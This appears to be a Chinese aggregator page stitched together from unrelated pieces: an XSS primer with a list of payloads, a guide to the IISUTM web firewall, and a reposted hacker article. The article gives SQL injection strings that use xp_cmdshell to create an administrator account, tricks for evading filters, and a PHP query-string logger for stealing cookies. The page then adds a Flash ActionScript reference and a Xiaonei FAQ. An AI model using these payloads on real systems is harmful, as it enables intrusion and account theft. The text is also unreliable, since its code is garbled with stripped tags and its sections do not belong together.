本文目录一览：
哪有放XSS跨站脚本工具的第三方工具/
不修改网站程序,使用第三方工具来防范XSS跨站式脚本攻击
网站要怎么防范常见的XSS跨站式脚本攻击呢，我们先从XSS跨站式脚本攻击的原理来说起。
网站遭受XSS跨站式脚本攻击的基本原理
1.本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下所示：
A给B发送一个恶意构造了Web的URL。
B点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在B电脑上。
具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
A的恶意脚本可以在B的电脑上执行B所持有的权限下的命令。
2反射式漏洞，这种漏洞和本地利用漏洞有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。
其攻击过程如下：
A经常浏览某个网站，此网站为B所拥有。B的站点运行A使用用户名/密码进行登录，并存储敏感信息（比如银行帐户信息）。
C发现B的站点包含反射性的XSS漏洞。
C编写一个利用漏洞的URL，并将其冒充为来自B的邮件发送给A。
A在登录到B的站点后，浏览C提供的URL。
嵌入到URL中的恶意脚本在A的浏览器中执行，就像它直接来自B的服务器一样。此脚本盗窃敏感信息（授权、信用卡、帐号信息等）然后在A完全不知情的情况下将这些信息发送到C的Web站点。
3存储式漏洞，该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞，骇客将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。
其攻击过程如下：
B拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。
C注意到B的站点具有存储式的XXS漏洞。
C发布一个热点信息，吸引其它用户纷纷阅读。
B或者是任何的其他人如A浏览该信息，其会话cookies或者其它信息将被C盗走。
类型A直接威胁用户个体，而类型B和存储式漏洞所威胁的对象都是企业级Web应用。
网站遭受XSS跨站式脚本攻击的基本方式
1. DOM-based cross-site scripting
页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作：
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子，假如某个脆弱的页面的代码如下：
HTML
TITLEWelcome!/TITLE
Hi
SCRIPT
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
/SCRIPT
BR
Welcome to our system
…
/HTML
攻击者使用如下的URL访问时，则非常危险：
;scriptalert(document.cookie)/script
试了一下，貌似IE、FireFox等浏览器默认 对scriptalert(document.cookie)/script进行了编码，阻止了脚本的执行。但是对于 DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：
SCRIPT
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
/SCRIPT
2. Reflected cross-site scripting
也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当 URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中：
1. input type="text" class="Seach" name="w" value="XXX" /
OK，可以开始做文章了，我们将XXX替换为：abc"/scriptalert('haha')/scripta href="，返回的HTML代码如下：
1. input type="text" class="Seach" name="w" value="abc"/
2. scriptalert('haha')/script!--" /
这样，scriptalert('haha')/script被执行了。这里再举例一些XSS攻击行为：
1. IMG SRC="javascript:alert('XSS');"
2. IMG SRC=javascript:alert('XSS')
3. IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"
4. IMG SRC="jav ascript:alert('XSS');"
5. SCRIPT/XSS SRC=""/SCRIPT
6. SCRIPTalert("XSS");///SCRIPT
7. iframe src=
8. INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"
9. BODY BACKGROUND="javascript:alert('XSS')"
10. BODY ONLOAD=alert(document.cookie)
11. BODY onload!#$%()*~+-_.,:;?@[/|"]^`=alert("XSS")
12. IMG DYNSRC="javascript:alert('XSS')"
13. IMG DYNSRC="javascript:alert('XSS')"
14. BR SIZE="{alert('XSS')}"
15. IMG SRC='vbscript:msgbox("XSS")'
16. TABLE BACKGROUND="javascript:alert('XSS')"
17. DIV STYLE="width: expression(alert('XSS'));"
18. DIV STYLE="background-image: url(javascript:alert('XSS'))"
19. STYLE TYPE="text/javascript"alert('XSS');/STYLE
20. STYLE type="text/css"BODY{background:url("javascript:alert('XSS')")}/STYLE
21. ?='SCRIPTalert("XSS")/SCRIPT'?
22. A HREF="javascript:document.location=''"XSS/A
23. IMG SRC=javascript:alert('XSS')
24. EMBED SRC="" AllowScriptAccess="always"/EMBED
25. a="get";
26. b="URL(""";
27. c="javascript:";
28. d="alert('XSS');"")";
29. eval(a+b+c+d);
总结一下，要防止XSS跨站式脚本攻击主要是要在查询字符串(QueryString)，表单数据（PostData）以及Cookie甚至HTTP报头（Header）中防止掉一些javascript关键字和一些敏感的字符（单引号，分号）以及SQL语言的关键字，以及防止他们使用encode编码。
用ASP或者PHP脚本来实现上面的这些想起来就很麻烦。下面就来介绍下用一个第三方工具IISUTM来处理上面我们说到的问题。
准备工作：先去下载最新的IISUTM版本。
根据IISUTM网站防火墙安装及操作手册 中的说明把IISUTM部署到你的服务器上来，这里需要注意的是使用Windows 2003+iis6的服务器，需要开启iis中“以IIS5.0 隔离模式运行 www 服务”选项才能正常使用该软件。
安装完成，通过浏览器访问IISUTM的配置管理界面默认的是，这个是私有地址，只能在该服务器上访问，你需要任何地方都能访问的话，可以在安装的时候IP地址的选项那里填入你服务器的公网IP地址，和你所开放的端口。这样你就可以通过你配置的地址进行访问，或者你可以在iis中直接管理名为IISUTM的站点。
登陆管理界面后点击上面导航栏中的“基本设置”，然后点击左边菜单的“防XSS攻击”链接。
开启该链接里所有的选项，选中之后IISUTM会自动保存配置，下面的“使用不允许的发送序列”是该软件提供的XSS攻击关键字的特征库，你可以根据你网站的情况进行更改（最好不要修改）。
确认以上的配置以后，你可以返回到IISUTM管理界面的首页，这里会列出最近服务器遭受到的攻击以及详细，赶紧去看看你的网站是不是随时有人在进行SQL注入吧，以及哪些攻击被IISUTM处理掉了。
什么是脚本攻击
最近脚本攻击好象是很流行的，不过早在很久前就有这个了！脚本攻击严格的说应该是一件艺术而不是漏洞！首先我们先要知道什么是脚本，脚本就是运行在网页服务器上的文本程序，例如：ASP、PHP、CGI、JSP、ISAP等等，脚本的攻击就是利用这些文件的设置和编写时的错误或者疏忽不当，攻击者就可以利用这些来达到自己攻击目的，如果一个服务器存在这些漏洞，那么它的沦陷也是时间的问题！
这些文本文件一般都是要结合数据库来使用的，这些数据库有ACCESS、MSSQL、MYSQL、Oracle等！脚本攻击就是针对这些数据库来配合脚本对一些变量的过滤不严的问题来达到得到用户密码等敏感信息，修改数据库等目的！下面我就针对这些来分别举例说明！
一、跨站脚本的攻击
脚本的跨站（CSS/XSS）就是利用程序对用户提交的变量不严，大多数是利用多媒体标签，前段时间比较流行的flash跨站就是利用的这个，比如我在[FLASH=450,350][/FLASH]之间插入一个我自己作好的一个swf文件，swf文件里我们用geturl里加上javascript:window.open(''就可以让他打开清风安全网的网站，如果这里是一个木马网页，呵呵，，，你就等着中木马吧！还有就是窃取用户的cookie，例如我们利用也就是图片的跨站，在这个里面插入
这段地址即可得到！如果将javascript过滤掉后怎么办？
好，我们在看看下面这段代码：
[upload=swf]uploadImages/200310812145390577.swf?"[/upload]
怎么样，还是能将你的信息得到的，而且还不会弹出对话框！
另外在joekoe论坛程序里还有一个这样的问题，比如你发个帖子里有[DIR][/DIR]就会弹出一个播放器的安装程序，呵呵，如果是一个黑心的站长利用这个来放马，那后果就不用说了吧！
解决办法：现在还没有好的方法解决这个问题，你要做的就是将多媒体的标签删掉！
另附ASP和PHP的跨站代码
php如下
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("test.txt","a";
fwrite($fp,$info."n";
fclose($fp);
}
?
asp如下
二、sql injection
是现在最热门的，也是本文要重点说的！
1、ASP+ACCESS数据库类型的SQL注射
现在的大多数网站是采用的这个组合，但是如果在ASP程序中没有对用户提交的变量充分过滤的话就可能导致管理员密码被猜到，整个网站的信息就会暴漏无移~！
在大多数ASP站点中，我们并不知道其程序代码，靠任何扫描器也不可能发现SQL injection漏洞，这时就要靠手工检测了，由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”，所以我们就在可修改的URL后加上以上符号，或在表单中的文本框加上这些符号！比如比较经典的金梅系统漏洞，在movie.aps中有怎么一段代码：
articleid=request("id"
set rs=server.createobject("adodb.recordset"
sql="update learning set hits=hits+1 where articleID="articleid
--------------------------------------------------------------------------------
2 [转帖]脚本安全和利用
rs.open sql,conn,1,3
sql="select * from learning where articleid="articleid
rs.open sql,conn,1,1
articleid未经任何检查便提交了，所以我们就可以自己构造一些SQL语句来提交上去！具体的利用过程请看拙作《SQL注入完整篇》和《SQL注入的补充》的动画教程，这里我就不在重复的说了！
2、ASP+MYSQL数据库类型的利用
MYSQL数据库简单使用和强大的功能一直以来都是网管们的最爱！但是如果是ASP中没有对变量过滤的话，我们就可以来直接的到他的系统管理员权限！
比如动网论坛、BBSXP论坛的SQL版有好几个文件都没有对ID过滤，所以我们只要找到他的存在问题的页面就可以了，
看这段代码：rs.open "select * from news where newsid=" cstr(request("newsid"),conn,1,1
比如我们提交：
;exec master.dbo.xp_cmdshell 'net user xuehan ilovexuehan /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators xuehan /add';--
看到了吗？我们已经在系统中田加了一个xuehan 密码是ilovexuehan的管理员帐号，以下的事情你就自己来做吧，呵呵，，，不用我来教了吧！！！
如果过滤了分号和单引号怎么办？呵呵，我们只要将我们的命令形式转换一下，比如我们转换成十六进制或者别的形式就可以继续注入了，还有就是他如果过滤了xp_cmdshell 我们也可以解决，我们可以写成xp'+'_cmd'+'shell形式，如果他将xp_cmdshell 扩展删掉，我们可以通过xplog70.dll文件来恢复，呵呵，，，具体自己查找下数据库的知识，当然我们也可以用别的扩展！所以说SQL injection不仅仅是一门技术，更要有灵活的头脑和扎实的数据库知识，特别是对SQL语言的掌握程度，如果不会SQL语言，你永远都是生搬硬套，遇到障碍就过不去了！
3、PHP+MYSQL数据库类型
PHP+MYSQL一直以来都认为是最安全的组合，不过一些文件没有过滤单引号、反斜线等，我们也可以来进行注入，不过在最新的php安装程序里的php.ini文件默认都是对这些过滤掉的，所以很大情况下我们是无法对进行注入的，不过也有许多牛人们可以饶过这个限制的！由于我的PHP和MYSQL不是太懂，所以就不能来具体举例来说明了，大家要是有兴趣可以去找写资料来看！！！
需要从根本上解决解决SQL Injection问题。还得从程序本身入手。过滤不能单纯的过滤URL所提交的参数，在表单里的也要过滤，value=后面的可以修改的数据，修改后可以提交到服务器，总之对所有的表单提交的数据以及用户可能对HTML源文件进行修改来控制的所有来自Web服务器外部的数据进行过滤或转换，对单引号、双引号、分号“--”还有对数字键上面的所有特殊字符进行过滤，还有QUERY_STRING环境变量。在服务器上删除一些危险的扩展存储过程，比如xp_cmdshell。有条件装个IDS更好，不敢说无坚不摧，但至少可以阻挡大部分攻击者。
三、一些别的脚本攻击
有些程序没有对cookie或者session进行过滤和检查，就造成了用户可以非法修改提交页面，自己提交修改数据，比如像海阳顶端网木马的以前版本对session没有过滤，我们就可以饶过密码的验证来到达真正的页面，还有就是post提交的问题，像leadbbs的2.77版本就是没有充分的过滤，我们就可以把管理员的密码修改成自己的密码！
还有一个脚本的攻击例子，在Discuz! 2.0 论坛里，因为个人属性缺乏必要的安全确认，所以很容易诱使其他会员自动修改其个人属性内容，特别是注册邮件信息，这关系着登陆密码的修改。
比如我们发个帖子，写上
诱使会员点击这个页面后，就会自动修改该会员注册的email地址为crack.x.h2163.com。当然为了隐蔽性，可以更新后自动关闭，然后调用另外一个假地址。
当然我们也可以利用这个漏洞进行欺骗、隐藏来诱惑管理员来修改我们为管理员等等！大家自己去学习吧！
看了这么多枯燥的东西下面我们再来看看另外一个好玩的漏洞，在百渡里搜索”传奇留言薄“找几个免费的留言本进去，找到他的登陆页面，我找到的一个是：
我们再来看看下面这个连接：
哈，怎么我们就闯入后台了！！！
什么原因，自己去琢磨吧！
后记：脚本的攻击可以说是防不胜防的，我们所要做的只能是提高编写程序的严谨态度，人为的因素在脚本攻击中是最重要的！
声明：本文提到的漏洞都有一定的攻击性，我们的目的是探讨技术，搞破坏的是小人！所造成的一切后果于作者无关！由于作者水平有限，文中难免有错误之处，欢迎指出！
如何解密这样的代码
都不用写程序也能破解了………………
你执行这句话：
var a = String.fromCharCode(/*这里写你那一堆数*/);
document.write(a);
然后查看源代码就得出了下面的东西。。。。
你要想加密的话用charCodeAt()
比如s.charCodeAt(i)返回字符串s的第i位的ascii码……
===============下面是执行上面命令生成的===============
var fMenu;
fMenu='object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="" align="middle" height="35" width="600"param name="movie" value=""param name="quality" value="high"param name="wmode" value="transparent"embed src="" quality="high" pluginspage="" type="application/x-shockwave-flash" align="middle" height="35" width="600"/object';
if(document.getElementById("tab")) document.getElementById("tab").outerHTML=fMenu;
flash所有命令意思。。。
- Go to 跳转到指定的帧
- Play 播放
- Stop 停止
- Toggle High Quality 在高画质和低画质间切换
- Stop All Sounds 停止所有声音的播放
- Get URL 跳转至某个超联结
- FSCommand 发送FSCommand命令
- Load Movie 装载影片
- Unload Movie 卸载影片
- Tell Target 告知目标
- If Frame Is Loaded ..判断帧是否被完全载入
- On Mouse Event 鼠标事件
[separator]
。其他Actions。包括：
- break 跳出循环
- call 调用指定帧（一般喊有某个特定函数）
- comment 注释
- continue 继续循环
- delete 删除一个对象(Object)中的变量
- do while do while循环
- duplicateMovieClip 复制MC
- else 否则(与if联用)
- else if 否则如果(与if联用)
- evaluate 调用自定义函数(Function)
- for for循环
- for .. in 依次取得对象(Object)中的各个属性或者某个数组中的所有元素
- FSCommand 发送FSCommand命令
- function 声明自定义函数
- getURL 跳转至某个超联结
- goto 跳转到指定的帧
- if 如果
- ifFrameLoaded ..帧是否完全被载入
- include 读入外部的ActionScript程序文件(.as)
- loadMovie 装载MC
- loadVariables 转载外部文件中的数据，这些外部文件可以是文本文件，或者是由ASP/CGI等脚本返回的文本值
- on 鼠标事件的触发条件
- onClipEvent MC的事件触发程序
- play 播放
- print 输出到打印机
- removeMovieClip 删除MC
- return 在函数(function)中返回一个值
- set variable 设定变量值
- setProperty 设定属性
- startDrag 开始拖动
- stop 停止
- stopAllSounds 停止所有声音的播放
- stopDrag 停止拖动
- swapDepths 交换两个MC的深度
- tellTarget 指定Action命令生效的目标
- toggleHighQuality 在高画质和低画质间切换
- trace 跟踪调试
- unloadMovie 卸载MC
- var 声明局部变量
- while 当..成立时..
- with 对..对象(Object)做..
。操作符（ Operators）
- ! 逻辑非操作
- != 不等于
- "" 字符串
- % 取余数
- 逻辑与操作
- () 括号
- * 乘号
- + 加号
- ++ 变量自加一
- - 减号
- -- 变量自减一
- / 除号
- 小于
- = 小于等于
- 不等于
- == 相等
- 大于
- = 大于等于
- and 逻辑与
- not 逻辑非
- or 逻辑或
- typeof 返回变量类型
- void 实体,无返回
- | | 逻辑或操作
+ Bitwise Operators 位操作符
- 位与操作
- 位左移
- 位右移
- 位右移(无符号)
- ^ 位异或操作
- | 位或操作
- ~ 补位操作
+ Compound Assign Operators 复合操作符
- %= A%=B 等效于 A=A%B
- = A=B 等效于 A=AB
- *= A*=B 等效于 A=A*B
- += A+=B 等效于 A=A+B
- -= A-=B 等效于 A=A-B
- /= A/=B 等效于 A=A/B
- = A=B 等效于 A=AB
- = A=B 等效于 A=AB
- = A=B 等效于 A=AB
- ^= A^=B 等效于 A=A^B
- |= A|=B 等效于 A=A|B
+ String Operators 字符串操作符（注：实质上是ASCII的比较）
- add 连接两个字符串
- eq A eq B 字符串A值与字符串值B相等
- ge A ge B 字符串A值大于等于字符串B值
- gt A gt B 字符串A值大于字符串B值
- le A le B 字符串A值小于等于字符串B值
- lt A lt B 字符串A值小于字符串B值
- ne A ne B 字符串A值不等于字符串B值
+ Functions 函数
- Boolean 取表达式的布尔值(True 或 False)
- escape 除去URL串中的非法字符，将其参数按照URL编码的格式转化为字符串（String）
- eval 访问并计算表达式(expression）的值，并以字符串（String）的形式返回该值
- false 布尔非值(0)
- getProperty 获取属性
- getTimer 获取从电影开始播放到现在的总播放时间(毫秒数)
- getVersion 获取浏览器的FLASHPlayer的版本号
- globalToLocal 场景(Scene)中的坐标转换成MC中的坐标
- hitTest 测试一个点或者MC是否同另一个交叉（即冲突检测）
- int 把十进制数值强制转换成整数
- isFinite 测试数值是否为有限数
- isNaN 测试是否为非数值
- keycode 返回键盘按下键的键盘值（ASCII值）
- localToGlobal MC中的坐标转换成场景(Scene)中的坐标
- maxscroll 文本框的最大行度
- newline 换行符
- Number 将参数转换成数值其返回值有以下四种情况：
如果 x 为一数字，则返回值即为该数字；如果 x 为一布尔数，则返回0或1；如果 x 为一字符串，则函数将x解释为一个指数形式的十进制数；如果x未定义，则返回0。
- parseFloat 将字符串转换成浮点数
- parseInt 将字符串转换成整数
- random 产生0到指定数间的随机数
- scroll 文本框中的起始滚动行
- String 将参数转换成字符串
- targetPath 返回指定实例MC的路径字符串
- true 布尔是值(1)
- unescape 保留字符串中的%XX格式的十六进制字符
+ String Functions 字符串函数
- chr 将ASCII码转换成相应字符
- length 返回字符串的长度
- mbchr 将ASCII/S-JIS编码转换成相应的多字节字符
- mblength 返回多字节字符串的长度
- mbord 将多字节字符转换成相应的ASCII/S-JIS编码
- mbsubstring 截取多字节字符串中的字串
- ord 将字符转换成ASCII码
- substring 截取字符串中的子串
+ Properties 属性
- _alpha Alpha值(透明度值)
- _currentframe 在MC中的当前帧数
- _droptarget 当使用Start drag拖动一个MC时，实时地返回该MC的绝对路径
- _focusrect 高亮按钮或者某个当前区域的显示与否(True显示/Flase不显示)
- _framesloaded 已载入的影帧数
- _height MC的高度
- _highquality 画质的高低(True高画质/False低画质)
- _name MC的实例名
- _quality 当前画质(字符串值) LOW,MEDIUM,HIGH,BEST
- _rotation MC旋转的角度(单位:度)
- _soundbuftime 声音的缓冲区大小(默认值5,单位:秒)
- _target MC的路径
- _totalframes 总帧数
- _url 电影被调用的URL地址
- _visible 是否可视(True可视/False不可视)
- _width MC的宽度
- _x MC的x坐标
- _xmouse 鼠标的x坐标
- _xscale MC的X轴向缩放度
- _y MC的y坐标
- _ymouse 鼠标的y坐标
- _yscale MC的y轴向缩放度
+ Objects 对象
+ Array 数组
- concat 合并多个数组
- join 将一个数组中的元素转化成字符串，并通过特定的分割符进行联结，并返回结果字符串
- length 返回数组长度
- new Array 新建数组对象
- pop 出栈 (FILO 先入后出)
- push 入栈 (入队列)
- reverse 反相(颠倒数组,及第一个元素和最后一个元素互换……)
- shift 出队列 (FIFO 先入先出)
- slice 截取数组中的子串生成新的数组
- sort 数组元素的排序
- splice 从数组中指定元素起删除指定个数的元素或者删除指定元素
- unshift 从数组头部插入一个元素
+ Boolean 布尔对象
- new Boolean 新建布尔型对象
- toString 将布尔型对象的值转换成字符串值
- valueOf 获取布尔型对象的值(返回值为布尔型)
+ Color 颜色对象
- getRGB 获取颜色值的RGB分量(返回值0xRRGGBB十六进制)
- getTransform 获取颜色值的转换量(返回值 cxform 型) [不太清楚]
- new Color 新建一颜色对象
- setRGB 设置颜色值的RGB分量(参数为0xRRGGBB十六进制)
- setTransform 设置颜色值的转换量(参数为 cxform 型) [不太清楚]
+ Date 时间和日期对象
- getDate 获取当前日期(本月的几号)
- getDay 获取今天是星期几(0-Sunday,1-Monday...)
- getFullYear 获取当前年份(四位数字)
- getHours 获取当前小时数(24小时制,0-23)
- getMilliseconds 获取当前毫秒数
- getMinutes 获取当前分钟数
- getMonth 获取当前月份(注意从0开始:0-Jan,1-Feb...)
- getSeconds 获取当前秒数
- getTime 获取UTC格式的从1970.1.1 0:00以来的秒数
- getTimezoneOffset 获取当前时间和UTC格式的偏移值(以分钟为单位)
- getUTCDate 获取UTC格式的当前日期(本月的几号)
- getUTCDay 获取UTC格式的今天是星期几(0-Sunday,1-Monday...)
- getUTCFullYear 获取UTC格式的当前年份(四位数字)
- getUTCHours 获取UTC格式的当前小时数(24小时制,0-23)
- getUTCMilliseconds 获取UTC格式的当前毫秒数
- getUTCMinutes 获取UTC格式的当前分钟数
- getUTCMonth 获取UTC格式的当前月份(注意从0开始:0-Jan,1-Feb...)
- getUTCSeconds 获取UTC格式的当前秒数
- getYear 获取当前缩写年份(当前年份减去1900)
- new Date 新建日期时间对象
- setDate 设置当前日期(本月的几号)
- setFullYear 设置当前年份(四位数字)
- setHours 设置当前小时数(24小时制,0-23)
- setMilliseconds 设置当前毫秒数
- setMinutes 设置当前分钟数
- setMonth 设置当前月份(注意从0开始:0-Jan,1-Feb...)
- setSeconds 设置当前秒数
- setTime 设置UTC格式的从1970.1.1 0:00以来的秒数
- setUTCDate 设置UTC格式的当前日期(本月的几号)
- setUTCFullYear 设置UTC格式的当前年份(四位数字)
- setUTCHours 设置UTC格式的当前小时数(24小时制,0-23)
- setUTCMilliseconds 设置UTC格式的当前毫秒数
- setUTCMinutes 设置UTC格式的当前分钟数
- setUTCMonth 设置UTC格式的当前月份(注意从0开始:0-Jan,1-Feb...)
- setUTCSeconds 设置UTC格式的当前秒数
- setYear 设置当前缩写年份(当前年份减去1900)
- toString 将日期时间值转换成"日期/时间"形式的字符串值
- UTC 返回指定的UTC格式日期时间的固定时间值
+ Key 键盘对象
- BACKSPACE Backspace(-)键
- CAPSLOCK CapsLock键
- CONTROL Ctrl键
- DELETEKEY Delete(Del)键
- DOWN 方向下键
- END End键
- ENTER Enter(回车)键
- ESCAPE Esc键
- getAscii 获取最后一个按下或松开的键的对应字符的Ascii码
- getCode 获取最后一个被按下的键的键盘扫描码
- HOME Home键
- INSERT Insert(Ins)键
- isDown 当指定键被按下时返回True值
- isToggled 当Caps lock或者Num Lock键被锁定时返回真（True）
- LEFT 方向左键
- PGDN PageDown(PGDN)键
- PGUP PageUp(PGUP)键
- RIGHT 方向右键
- SHIFT Shift键
- SPACE 空格键
- TAB Tab键
- UP 方向上键
+ Math 数学函数对象
- abs abs(n) 取n的绝对值
- acos acos(n) n的反余弦(返回值单位:弧度)
- asin asin(n) n的反正弦(返回值单位:弧度)
- atan atan(n) n的反正切(返回值单位:弧度)
- atan2 atan2(x,y) 计算x/y的反正切
- ceil ceil(n) 取靠近n的上限的整数(向上取整)
- cos cos(n) 取n的余弦(n的单位:弧度)
- E Euler(欧拉)指数(约为2.718)
- exp 指数
- floor floor(n) 取靠近n的下限的整数(向下取整)
- LN10 ln10(约等于2.302)
- LN2 ln2(约等于0.693)
- log 取自然对数(e为底)
- LOG10E 10为底取E的对数(约等于0.434)
- LOG2E 2为底取E的对数(约等于1.443)
- max 返回两参数中的最大值
- min 返回两参数中的最小值
- PI 圆周率(约等于3.14159)
- pow pow(x,y) x的y次方
- random 产生0-1间的随机数
- round 四舍五入取整
- sin sin(n) 取n的正弦(n的单位:弧度)
- sqrt 开根号
- SQRT1_2 0.5开根号(约等于0.707)
- SQRT2 2开根号(约等于1.414)
- tan tan(n) 取n的正切(n的单位:弧度)
+ MovieClip 影片夹子对象
- attachMovie 产生一个库中MC的实体并将它绑定到某个电影上
- dupicateMovieClip 复制当前MC产生新的MC
- getURL 使浏览器浏览指定页面
- gotoAndPlay 跳转到指定帧并播放
- gotoAndStop 跳转到指定帧并停止播放
- loadMovie 引入一个外部电影到指定层
- loadVariables 引入外部文件中的变量值
- nextFrame 下一帧
- play 播放
- prevFrame 前一帧
- removeMovieClip 删除用duplicateMovieClip创建的MC
- startDrag 开始拖动MC
- stop 停止MC的播放
- stopDrag 停止拖动MC
- unloadMovie 卸载由loadMovie引入的Movie
+ Mouse 鼠标对象
- hide 隐藏鼠标指针
- show 显示鼠标指针
+ Number 数值对象
- MAX_value FLASH5 所允许的最大数值1.79769313486231 e 308
- MIN_value FLASH5 所允许的最小数值5 e -324
- NaN 是否为非数值(Not a Number)
- NEGATIVE_INFINITY 是否为负数
- new Number 新建数值对象
- POSITIVE_INFINITY 是否为正数
- toString 将数值转换成字符串
+ Object 对象
- new Object 新建对象
- toString 转换对象为字符串
- valueOf 返回对象的值
+ Selection 选择区对象
- getBeginIndex 获取可编辑文本区的起始位置,-1表示无可编辑文本区
- getCaretIndex 获取当前的编辑位置,-1表示没有可编辑文本区
- getEndIndex 获取可编辑文本区的结束位置,-1表示无可编辑文本区
- getFocus 获取当前的激活文本区的文本变量名
- setFocus 设置当前的激活文本区
- setSelection 设置可编辑文本的起始位置和终止位置
+ Sound 声音对象
- attachSound 绑定库中的一个声音
- getPan 获取声音的混音值 [不太清楚]
- getTransform 获取当前声音的变换量(返回值类型:sxform) [不太清楚]
- getVolume 获取当前声音的音量(百分比)
- new Sound 新建声音对象
- setPan 设置声音的混音值 [不太清楚]
- setTransform 设置当前声音的变换量(参数类型:sxform) [不太清楚]
- setVloume 设置当前声音的音量(百分比)
- start 开始播放当前声音
- stop 停止播放当前声音
+ String 字符串对象
- charAt 在指定的索引表中返回一个字符
- charCodeAt 在指定的索引表中返回一个字符的代码
- concat 联结合并多个字符串
- fromCharCode 从字符代码组构造出一个新的字符串
- indexOf 在字符串中寻找子串,返回子串起始位置或-1(-1表示未找到)
- lastIndexOf 在字符串中寻找子串,返回子串终止位置或-1(-1表示未找到)
- length 返回字符串的长度
- new String 新建字符串对象
- slice 返回字符串中指定截取的子串
- split 根据限定符将字符串转换成一个数组
- substr substr( start, length ) 返回从start开始，共length长的子串
- substring substring( indexA, indexB ) 返回indexA..indexB之间的子串
- toLowerCase 将字符串中的大写字符全部转换成小写
- toUpperCase 将字符串中的小写字符全部转换成大写
+ XML 可扩充性标记语言对象
- appendChild_xss 添加一个子结点到指定的XML元素
- attributes XML元素的属性数组
- childNodes 一个XML元素的子结点数组
- cloneNode 克隆(复制)当前结点
- createElement_x 新建一个新的XML元素
- createTextNode 新建一个新的XML文本结点
- firstChild 返回当前XML结点的第一个子结点
- hasChildNodes 当前XML结点是否有子结点(返回true有子结点/flash则无)
- insertBefore 在一个指定的XML元素的子结点前插入一个新的子结点
- lastChild 返回当前XML结点的最后一个子结点
- load 从指定的URL把XML元素引入FLASH中
- loaded 当XML元素引入或是发送同时引入FLASH中后,返回true值
- new XML 新建一个XML对象
- nextSibling 当前XML结点的下一个结点
- nodeName 返回当前XML结点的名字
- nodeType 返回当前XML结点的类型(1-元素,3-文本)
- nodevalue 返回当前XML结点的值(text型返回文本)
- onLoad 当引入或发送同时引入时触发事件
- parentNode 返回当前XML结点的父结点
- parseXML 将XML字符串转换成XML对象
- previousSibling 当前XML结点的前一个结点
- removeNode 从XML文本中删除结点
- send 从FLASH中把一个XML元素发送到指定的URL地址
- sendAndLoad 从FLASH中把一个XML元素发送到指定的URL地址同时引入XML结果
- toString 把XML对象转换为XML字符串表达
+ XMLSocket XML套接口
- close 关闭一个XML套接口
- connect 连接一个XML套接口,指定URL,并定义其端口号
- new XMLSocket 建立一个新的XML套接口
- onClose 关闭XML套接口时触发事件
- onConnect 连接XML套接口时触发事件
- onXML 从服务器上获取XML时触发事件
- send 发送XML给服务器
Flash密码也
1.防asv反编译:
在代码的前面加上:
function a ( ) { 0 ( ) }
2.保护swf文件加密:
在动画的第一帧加入检测url 的代码:
web=getproperty(" ", _url);
test=web.“indexof ”("your url ", "0.000000d");
if(test==“-1”){
gotoAndStop(88); //此帧数任一。
elseif( not(test=="-1")){
gotoAndPlay( getproperty(“ ”, -currentframe+1));
}
}
关于校内网的问题，高手进！
如何注册成为校内网用户？
校内网xiaonei.com现阶段向高中生，大学生和公司用户开放，为保证用户隐私，你需要经过以下步骤才能注册成为正式用户：
到注册页面，填写您的真实姓名，邮箱地址和设置密码。选择您是高中生，大学生或公司用户，我们将根据您的身份来决定您的注册方式和资料填写。根据要求填写相应的注册信息，用自己的email作为账号注册；
到你的注册邮箱查收来自校内网的激活信，点击邮件里的激活链接激活你的账号，如果你的邮箱收不到校内网的激活信，可以从注册邮箱向reg@xiaonei.com发信申请激活；
激活成功后通过验证即可成为正式用户。
如何验证你的身份？
你可以通过以下任何一种方式验证你的身份：
高中生用户：根据我们所发放的注册码注册（注册码和学校是相对应的，一个注册码只能注册一个账号）;没有填写注册码的同学注册进入后成为待审核状态，需寻找同校同学，并发送加入高中网络的申请，待对方对你进行身份认证。
大学生用户：注册时所用机器IP在所选学校IP列表里或者用学校官方邮箱注册的账号激活后直接通过身份验证；如注册时IP与该大学的IP不符也没有学校官方邮箱，则需提交相关资料，经管理员审核批准加入。
公司用户：目前只允许通过公司邮箱认证您的公司用户身份，没有公司邮箱将确定不了您的身份，不予注册。
为什么需要激活？
为了方便你在忘记密码或者帐号被盗时取回密码和帐号，你需要到你的注册信箱中激活校内网帐号。
我没有收到激活信怎么办？
先试下重发激活码
如果你还没收到激活信,你可以从你的注册信箱给reg@xiaonei.com发信，管理员会尽快解决
登录
为什么很多操作需要登录才能执行？
校内网的同学们大多使用真实信息，为了保护同学们的隐私，凡是涉及到同学们具体信息的操作，都得登录以后才能执行。
登录失败怎么办？
可能你还没有注册，先去注册吧。
